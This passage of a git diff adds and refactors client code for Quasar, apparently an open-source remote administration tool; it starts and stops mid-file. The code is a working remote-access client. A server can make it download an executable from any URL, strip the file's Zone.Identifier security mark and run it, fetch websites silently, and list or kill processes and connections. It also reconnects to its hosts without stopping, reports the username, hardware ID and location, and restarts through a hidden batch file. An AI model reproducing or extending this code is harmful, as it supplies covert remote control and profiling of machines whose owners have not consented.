interaction with tasks. + /// + public class TaskManagerHandler : IMessageProcessor, IDisposable + { + private readonly QuasarClient _client; + + private readonly WebClient _webClient; + + public TaskManagerHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _webClient = new WebClient { Proxy = null }; + _webClient.DownloadFileCompleted += OnDownloadFileCompleted; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + if (!connected) + { + if (_webClient.IsBusy) + _webClient.CancelAsync(); + } + } + + public bool CanExecute(IMessage message) => message is GetProcesses || + message is DoProcessStart || + message is DoProcessEnd; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetProcesses msg: + Execute(sender, msg); + break; + case DoProcessStart msg: + Execute(sender, msg); + break; + case DoProcessEnd msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetProcesses message) + { + Process[] pList = Process.GetProcesses(); + var processes = new Common.Models.Process[pList.Length]; + + for (int i = 0; i < pList.Length; i++) + { + var process = new Common.Models.Process + { + Name = pList[i].ProcessName + ".exe", + Id = pList[i].Id, + MainWindowTitle = pList[i].MainWindowTitle + }; + processes[i] = process; + } + + client.Send(new GetProcessesResponse { Processes = processes }); + } + + private void Execute(ISender client, DoProcessStart message) + { + if (string.IsNullOrEmpty(message.FilePath)) + { + // download and then execute + if (string.IsNullOrEmpty(message.DownloadUrl)) + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + return; + } + + message.FilePath = FileHelper.GetTempFilePath(".exe"); + + try + { + if (_webClient.IsBusy) + { + _webClient.CancelAsync(); + while (_webClient.IsBusy) + { + Thread.Sleep(50); + } + } + + _webClient.DownloadFileAsync(new Uri(message.DownloadUrl), message.FilePath, message); + } + catch + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + NativeMethods.DeleteFile(message.FilePath); + } + } + else + { + // execute locally + ExecuteProcess(message.FilePath, message.IsUpdate); + } + } + + private void OnDownloadFileCompleted(object sender, AsyncCompletedEventArgs e) + { + var message = (DoProcessStart) e.UserState; + if (e.Cancelled) + { + NativeMethods.DeleteFile(message.FilePath); + return; + } + + FileHelper.DeleteZoneIdentifier(message.FilePath); + ExecuteProcess(message.FilePath, message.IsUpdate); + } + + private void ExecuteProcess(string filePath, bool isUpdate) + { + if (isUpdate) + { + try + { + var clientUpdater = new ClientUpdater(); + clientUpdater.Update(filePath); + _client.Exit(); + } + catch (Exception ex) + { + NativeMethods.DeleteFile(filePath); + _client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" }); + } + } + else + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo + { + UseShellExecute = true, + FileName = filePath + }; + Process.Start(startInfo); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + } + catch (Exception) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + + } + } + + private void Execute(ISender client, DoProcessEnd message) + { + try + { + Process.GetProcessById(message.Pid).Kill(); + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true }); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _webClient.DownloadFileCompleted -= OnDownloadFileCompleted; + _webClient.CancelAsync(); + _webClient.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs new file mode 100644 index 000000000..f4c55d653 --- /dev/null +++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,117 @@ +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Client.Messages +{ + public class TcpConnectionsHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetConnections || + message is DoCloseConnection; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnections msg: + Execute(sender, msg); + break; + case DoCloseConnection msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetConnections message) + { + var table = GetTable(); + + var connections = new TcpConnection[table.Length]; + + for (int i = 0; i < table.Length; i++) + { + string processName; + try + { + var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid); + processName = p.ProcessName; + } + catch + { + processName = $"PID: {table[i].owningPid}"; + } + + connections[i] = new TcpConnection + { + ProcessName = processName, + LocalAddress = table[i].LocalAddress.ToString(), + LocalPort = table[i].LocalPort, + RemoteAddress = table[i].RemoteAddress.ToString(), + RemotePort = table[i].RemotePort, + State = (ConnectionState)table[i].state + }; + } + + client.Send(new GetConnectionsResponse { Connections = connections }); + } + + private void Execute(ISender client, DoCloseConnection message) + { + var table = GetTable(); + + for (var i = 0; i < table.Length; i++) + { + //search for connection + if (message.LocalAddress == table[i].LocalAddress.ToString() && + message.LocalPort == table[i].LocalPort && + message.RemoteAddress == table[i].RemoteAddress.ToString() && + message.RemotePort == table[i].RemotePort) + { + // it will close the connection only if client run as admin + table[i].state = (byte) ConnectionState.Delete_TCB; + var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); + Marshal.StructureToPtr(table[i], ptr, false); + NativeMethods.SetTcpEntry(ptr); + Execute(client, new GetConnections()); + return; + } + } + } + + private NativeMethods.MibTcprowOwnerPid[] GetTable() + { + NativeMethods.MibTcprowOwnerPid[] tTable; + var afInet = 2; + var buffSize = 0; + // retrieve correct pTcpTable size + NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + var buffTable = Marshal.AllocHGlobal(buffSize); + try + { + var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + if (ret != 0) + return null; + var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); + var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); + tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries]; + for (var i = 0; i < tab.dwNumEntries; i++) + { + var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid)); + tTable[i] = tcpRow; + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + } + } + finally + { + Marshal.FreeHGlobal(buffTable); + } + return tTable; + } + } +} diff --git a/Quasar.Client/Messages/WebsiteVisitorHandler.cs b/Quasar.Client/Messages/WebsiteVisitorHandler.cs new file mode 100644 index 000000000..773b98284 --- /dev/null +++ b/Quasar.Client/Messages/WebsiteVisitorHandler.cs @@ -0,0 +1,60 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Net; + +namespace Quasar.Client.Messages +{ + public class WebsiteVisitorHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoVisitWebsite; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoVisitWebsite msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoVisitWebsite message) + { + string url = message.Url; + + if (!url.StartsWith("http")) + url = "http://" + url; + + if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) + { + if (!message.Hidden) + Process.Start(url); + else + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); + request.UserAgent = + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"; + request.AllowAutoRedirect = true; + request.Timeout = 10000; + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + } + + client.Send(new SetStatus { Message = "Visited Website" }); + } + } + } +} diff --git a/Client/Core/Networking/Client.cs b/Quasar.Client/Networking/Client.cs similarity index 52% rename from Client/Core/Networking/Client.cs rename to Quasar.Client/Networking/Client.cs index 8988c012a..d5279628c 100644 --- a/Client/Core/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -1,20 +1,22 @@ -using System; +using Quasar.Client.ReverseProxy; +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; +using System; using System.Collections.Generic; -using System.IO; using System.Linq; +using System.Net; +using System.Net.Security; using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; using System.Threading; -using xClient.Core.Compression; -using xClient.Core.Cryptography; -using xClient.Core.Extensions; -using xClient.Core.NetSerializer; -using xClient.Core.Packets; -using xClient.Core.ReverseProxy; -using xClient.Core.ReverseProxy.Packets; - -namespace xClient.Core.Networking + +namespace Quasar.Client.Networking { - public class Client + public class Client : ISender { /// /// Occurs as a result of an unrecoverable issue with the client. @@ -35,10 +37,7 @@ public class Client private void OnClientFail(Exception ex) { var handler = ClientFail; - if (handler != null) - { - handler(this, ex); - } + handler?.Invoke(this, ex); } /// @@ -64,68 +63,59 @@ private void OnClientState(bool connected) Connected = connected; var handler = ClientState; - if (handler != null) - { - handler(this, connected); - } + handler?.Invoke(this, connected); } /// - /// Occurs when a packet is received from the server. + /// Occurs when a message is received from the server. /// public event ClientReadEventHandler ClientRead; /// - /// Represents a method that will handle a packet from the server. + /// Represents a method that will handle a message from the server. /// - /// The client that has received the packet. - /// The packet that has been received by the server. - public delegate void ClientReadEventHandler(Client s, IPacket packet); + /// The client that has received the message. + /// The message that has been received by the server. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); /// - /// Fires an event that informs subscribers that a packet has been received by the server. + /// Fires an event that informs subscribers that a message has been received by the server. /// - /// The packet that has been received by the server. - private void OnClientRead(IPacket packet) + /// The message that has been received by the server. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) { var handler = ClientRead; - if (handler != null) - { - handler(this, packet); - } + handler?.Invoke(this, message, messageLength); } /// - /// Occurs when a packet is sent by the client. + /// Occurs when a message is sent by the client. /// public event ClientWriteEventHandler ClientWrite; /// - /// Represents the method that will handle the sent packet. + /// Represents the method that will handle the sent message. /// - /// The client that has sent the packet. - /// The packet that has been sent by the client. - /// The length of the packet. - /// The packet in raw bytes. - public delegate void ClientWriteEventHandler(Client s, IPacket packet, long length, byte[] rawData); + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); /// - /// Fires an event that informs subscribers that the client has sent a packet. + /// Fires an event that informs subscribers that the client has sent a message. /// - /// The packet that has been sent by the client. - /// The length of the packet. - /// The packet in raw bytes. - private void OnClientWrite(IPacket packet, long length, byte[] rawData) + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) { var handler = ClientWrite; - if (handler != null) - { - handler(this, packet, length, rawData); - } + handler?.Invoke(this, message, messageLength); } /// - /// The type of the packet received. + /// The type of the message received. /// public enum ReceiveType { @@ -154,9 +144,9 @@ public enum ReceiveType public int HEADER_SIZE { get { return 4; } } // 4B /// - /// The maximum size of a packet in bytes. + /// The maximum size of a message in bytes. /// - public int MAX_PACKET_SIZE { get { return (1024 * 1024) * 5; } } // 5MB + public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 5; } } // 5MB /// /// Returns an array containing all of the proxy clients of this client. @@ -173,14 +163,29 @@ public ReverseProxyClient[] ProxyClients } /// - /// Handle of the Client Socket. + /// Gets if the client is currently connected to a server. + /// + public bool Connected { get; private set; } + + /// + /// The stream used for communication. /// - private Socket _handle; + private SslStream _stream; + + /// + /// The server certificate. + /// + private readonly X509Certificate2 _serverCertificate; /// /// A list of all the connected proxy clients that this client holds. /// - private List _proxyClients; + private List _proxyClients = new List(); + + /// + /// The internal index of the message type. + /// + private int _typeIndex; /// /// Lock object for the list of proxy clients. @@ -188,7 +193,7 @@ public ReverseProxyClient[] ProxyClients private readonly object _proxyClientsLock = new object(); /// - /// The buffer for incoming packets. + /// The buffer for incoming messages. /// private byte[] _readBuffer; @@ -198,112 +203,121 @@ public ReverseProxyClient[] ProxyClients private byte[] _payloadBuffer; /// - /// The Queue which holds buffers to send. + /// The queue which holds messages to send. /// - private readonly Queue _sendBuffers = new Queue(); + private readonly Queue _sendBuffers = new Queue(); /// - /// Determines if the client is currently sending packets. + /// Determines if the client is currently sending messages. /// - private bool _sendingPackets; + private bool _sendingMessages; /// - /// Lock object for the sending packets boolean. + /// Lock object for the sending messages boolean. /// - private readonly object _sendingPacketsLock = new object(); + private readonly object _sendingMessagesLock = new object(); /// - /// The Queue which holds buffers to read. + /// The queue which holds buffers to read. /// private readonly Queue _readBuffers = new Queue(); /// - /// Determines if the client is currently reading packets. - /// - private bool _readingPackets; - - /// - /// Lock object for the reading packets boolean. + /// Determines if the client is currently reading messages. /// - private readonly object _readingPacketsLock = new object(); + private bool _readingMessages; /// - /// The temporary header to store parts of the header. + /// Lock object for the reading messages boolean. /// - /// - /// This temporary header is used when we have i.e. - /// only 2 bytes left to read from the buffer but need more - /// which can only be read in the next Receive callback - /// - private byte[] _tempHeader; - - /// - /// Decides if we need to append bytes to the header. - /// - private bool _appendHeader; + private readonly object _readingMessagesLock = new object(); // Receive info private int _readOffset; private int _writeOffset; - private int _tempHeaderOffset; private int _readableDataLen; private int _payloadLen; private ReceiveType _receiveState = ReceiveType.Header; /// - /// Gets if the client is currently connected to a server. + /// The mutex prevents multiple simultaneous write operations on the . /// - public bool Connected { get; private set; } + private readonly Mutex _singleWriteMutex = new Mutex(); /// - /// The packet serializer. + /// Constructor of the client, initializes serializer types. /// - protected Serializer Serializer { get; set; } - - private const bool encryptionEnabled = true; - private const bool compressionEnabled = true; - - protected Client() + /// The server certificate. + protected Client(X509Certificate2 serverCertificate) { - _proxyClients = new List(); + _serverCertificate = serverCertificate; _readBuffer = new byte[BUFFER_SIZE]; - _tempHeader = new byte[HEADER_SIZE]; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); } /// - /// Attempts to connect to the specified host on the specified port. + /// Attempts to connect to the specified ip address on the specified port. /// - /// The host (or server) to connect to. + /// The ip address to connect to. /// The port of the host. - protected void Connect(string host, ushort port) + protected void Connect(IPAddress ip, ushort port) { + Socket handle = null; try { Disconnect(); - _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - _handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); - _handle.Connect(host, port); + handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); + handle.Connect(ip, port); - if (_handle.Connected) + if (handle.Connected) { - _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null); + _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); OnClientState(true); } + else + { + handle.Dispose(); + } } catch (Exception ex) { + handle?.Dispose(); OnClientFail(ex); } } + /// + /// Validates the server certificate by comparing it with the included server certificate. + /// + /// The sender of the callback. + /// The server certificate to validate. + /// The X.509 chain. + /// The SSL policy errors. + /// Returns true when the validation was successful, otherwise false. + private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + // for debugging don't validate server certificate + return true; +#else + var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key; + // compare the received server certificate with the included server certificate to validate we are connected to the correct server + return _serverCertificate.Equals(certificate); +#endif + } + private void AsyncReceive(IAsyncResult result) { int bytesTransferred; try { - bytesTransferred = _handle.EndReceive(result); + bytesTransferred = _stream.EndRead(result); if (bytesTransferred <= 0) throw new Exception("no bytes transferred"); @@ -339,18 +353,18 @@ private void AsyncReceive(IAsyncResult result) _readBuffers.Enqueue(received); } - lock (_readingPacketsLock) + lock (_readingMessagesLock) { - if (!_readingPackets) + if (!_readingMessages) { - _readingPackets = true; + _readingMessages = true; ThreadPool.QueueUserWorkItem(AsyncReceive); } } try { - _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); } catch (ObjectDisposedException) { @@ -370,9 +384,9 @@ private void AsyncReceive(object state) { if (_readBuffers.Count == 0) { - lock (_readingPacketsLock) + lock (_readingMessagesLock) { - _readingPackets = false; + _readingMessages = false; } return; } @@ -388,38 +402,26 @@ private void AsyncReceive(object state) { case ReceiveType.Header: { - if (_readableDataLen >= HEADER_SIZE) - { // we can read the header - int headerLength = (_appendHeader) - ? HEADER_SIZE - _tempHeaderOffset - : HEADER_SIZE; + if (_payloadBuffer == null) + _payloadBuffer = new byte[HEADER_SIZE]; + + if (_readableDataLen + _writeOffset >= HEADER_SIZE) + { + // completely received header + int headerLength = HEADER_SIZE - _writeOffset; try { - if (_appendHeader) - { - try - { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, - headerLength); - } - catch (Exception ex) - { - process = false; - OnClientFail(ex); - break; - } - _payloadLen = BitConverter.ToInt32(_tempHeader, 0); - _tempHeaderOffset = 0; - _appendHeader = false; - } - else - { - _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset); - } + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); - if (_payloadLen <= 0 || _payloadLen > MAX_PACKET_SIZE) + if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE) throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE) + Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE); } catch (Exception) { @@ -429,44 +431,44 @@ private void AsyncReceive(object state) } _readableDataLen -= headerLength; + _writeOffset += headerLength; _readOffset += headerLength; _receiveState = ReceiveType.Payload; } - else // _parentServer.HEADER_SIZE < _readableDataLen + else // _readableDataLen + _writeOffset < HeaderSize { + // received only a part of the header try { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen); + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); } - catch (Exception ex) + catch (Exception) { process = false; - OnClientFail(ex); + Disconnect(); break; } - _tempHeaderOffset += _readableDataLen; - _appendHeader = true; + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; process = false; + // nothing left to process } break; } case ReceiveType.Payload: { - if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen) - _payloadBuffer = new byte[_payloadLen]; - - int length = (_writeOffset + _readableDataLen >= _payloadLen) - ? _payloadLen - _writeOffset + int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HEADER_SIZE) : _readableDataLen; try { Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); } - catch (Exception ex) + catch (Exception) { process = false; - OnClientFail(ex); + Disconnect(); break; } @@ -474,62 +476,26 @@ private void AsyncReceive(object state) _readOffset += length; _readableDataLen -= length; - if (_writeOffset == _payloadLen) + if (_writeOffset - HEADER_SIZE == _payloadLen) { - bool isError = _payloadBuffer.Length == 0; - - if (!isError) - { - if (encryptionEnabled) - _payloadBuffer = AES.Decrypt(_payloadBuffer); - - isError = _payloadBuffer.Length == 0; // check if payload decryption failed - } - - if (!isError) + // completely received payload + try { - if (compressionEnabled) + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false)) { - try - { - _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - } + IMessage message = pr.ReadMessage(); - isError = _payloadBuffer.Length == 0; // check if payload decompression failed + OnClientRead(message, _payloadBuffer.Length); + } } - - if (isError) + catch (Exception) { process = false; Disconnect(); break; } - using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) - { - try - { - IPacket packet = (IPacket)Serializer.Deserialize(deserialized); - - OnClientRead(packet); - } - catch (Exception ex) - { - process = false; - OnClientFail(ex); - break; - } - } - _receiveState = ReceiveType.Header; - _payloadBuffer = null; _payloadLen = 0; _writeOffset = 0; } @@ -542,71 +508,74 @@ private void AsyncReceive(object state) } } - if (_receiveState == ReceiveType.Header) - { - _writeOffset = 0; // prepare for next packet - } _readOffset = 0; _readableDataLen = 0; } } /// - /// Sends a packet to the connected server. + /// Sends a message to the connected server. /// - /// The type of the packet. - /// The packet to be send. - public void Send(T packet) where T : IPacket + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage { - if (!Connected || packet == null) return; + if (!Connected || message == null) return; lock (_sendBuffers) { - using (MemoryStream ms = new MemoryStream()) - { - try - { - Serializer.Serialize(ms, packet); - } - catch (Exception ex) - { - OnClientFail(ex); - return; - } - - byte[] payload = ms.ToArray(); - - _sendBuffers.Enqueue(payload); + _sendBuffers.Enqueue(message); - OnClientWrite(packet, payload.LongLength, payload); - - lock (_sendingPacketsLock) - { - if (_sendingPackets) return; + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; - _sendingPackets = true; - } - ThreadPool.QueueUserWorkItem(Send); + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); } } } /// - /// Sends a packet to the connected server. - /// Blocks the thread until all packets have been sent. + /// Sends a message to the connected server. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . /// - /// The type of the packet. - /// The packet to be send. - public void SendBlocking(T packet) where T : IPacket + /// The message to send. + private void SafeSendMessage(IMessage message) { - Send(packet); - while (_sendingPackets) + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) { - Thread.Sleep(10); + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); } } - private void Send(object state) + private void ProcessSendBuffers(object state) { while (true) { @@ -616,7 +585,7 @@ private void Send(object state) return; } - byte[] payload; + IMessage message; lock (_sendBuffers) { if (_sendBuffers.Count == 0) @@ -625,42 +594,18 @@ private void Send(object state) return; } - payload = _sendBuffers.Dequeue(); + message = _sendBuffers.Dequeue(); } - try - { - _handle.Send(BuildPacket(payload)); - } - - catch (Exception ex) - { - OnClientFail(ex); - SendCleanup(true); - return; - } + SafeSendMessage(message); } } - private byte[] BuildPacket(byte[] payload) - { - if (compressionEnabled) - payload = SafeQuickLZ.Compress(payload); - - if (encryptionEnabled) - payload = AES.Encrypt(payload); - - byte[] packet = new byte[payload.Length + HEADER_SIZE]; - Array.Copy(BitConverter.GetBytes(payload.Length), packet, HEADER_SIZE); - Array.Copy(payload, 0, packet, HEADER_SIZE, payload.Length); - return packet; - } - private void SendCleanup(bool clear = false) { - lock (_sendingPacketsLock) + lock (_sendingMessagesLock) { - _sendingPackets = false; + _sendingMessages = false; } if (!clear) return; @@ -678,17 +623,16 @@ private void SendCleanup(bool clear = false) /// public void Disconnect() { - if (_handle != null) + if (_stream != null) { - _handle.Close(); - _handle = null; + _stream.Close(); _readOffset = 0; _writeOffset = 0; - _tempHeaderOffset = 0; _readableDataLen = 0; _payloadLen = 0; _payloadBuffer = null; _receiveState = ReceiveType.Header; + //_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect if (_proxyClients != null) { @@ -704,12 +648,6 @@ public void Disconnect() } } } - - if (Commands.CommandHandler.StreamCodec != null) - { - Commands.CommandHandler.StreamCodec.Dispose(); - Commands.CommandHandler.StreamCodec = null; - } } OnClientState(false); @@ -750,4 +688,4 @@ public void RemoveProxyClient(int connectionId) catch { } } } -} \ No newline at end of file +} diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs new file mode 100644 index 000000000..552df2b0b --- /dev/null +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -0,0 +1,176 @@ +using Quasar.Client.Config; +using Quasar.Client.Helper; +using Quasar.Client.IO; +using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Utilities; +using System; +using System.Diagnostics; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Client.Networking +{ + public class QuasarClient : Client, IDisposable + { + /// + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// The hosts manager which contains the available hosts to connect to. + /// + private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// + private readonly SafeRandom _random; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. + public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) + { + this._hosts = hostsManager; + this._random = new SafeRandom(); + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + base.ClientFail += OnClientFail; + this._tokenSource = new CancellationTokenSource(); + this._token = _tokenSource.Token; + } + + /// + /// Connection loop used to reconnect and keep the connection open. + /// + public void ConnectLoop() + { + // TODO: do not re-use object + while (!_token.IsCancellationRequested) + { + if (!Connected) + { + Host host = _hosts.GetNextHost(); + + base.Connect(host.IpAddress, host.Port); + } + + while (Connected) // hold client open + { + try + { + _token.WaitHandle.WaitOne(1000); + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + Disconnect(); + return; + } + } + + if (_token.IsCancellationRequested) + { + Disconnect(); + return; + } + + Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750)); + } + } + + private void OnClientRead(Client client, IMessage message, int messageLength) + { + if (!_identified) + { + if (message.GetType() == typeof(ClientIdentificationResult)) + { + var reply = (ClientIdentificationResult) message; + _identified = reply.Result; + } + return; + } + + MessageHandler.Process(client, message); + } + + private void OnClientFail(Client client, Exception ex) + { + Debug.WriteLine("Client Fail - Exception Message: " + ex.Message); + client.Disconnect(); + } + + private void OnClientState(Client client, bool connected) + { + _identified = false; // always reset identification + + if (connected) + { + // send client identification once connected + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + client.Send(new ClientIdentification + { + Version = Settings.VERSION, + OperatingSystem = PlatformHelper.FullName, + AccountType = userAccount.Type.ToString(), + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, + PcName = SystemHelper.GetPcName(), + Tag = Settings.TAG, + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) + }); + } + } + + /// + /// Stops the connection loop and disconnects the connection. + /// + public void Exit() + { + _tokenSource.Cancel(); + Disconnect(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs new file mode 100644 index 000000000..6ddad6e5a --- /dev/null +++ b/Quasar.Client/Program.cs @@ -0,0 +1,90 @@ +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.Net; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + internal static class Program + { + [STAThread] + private static void Main(string[] args) + { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + // Add the event handler for handling UI thread exceptions + Application.ThreadException += HandleThreadException; + + // Add the event handler for handling non-UI thread exceptions + AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new QuasarApplication()); + } + + private static void HandleThreadException(object sender, ThreadExceptionEventArgs e) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. + private static void 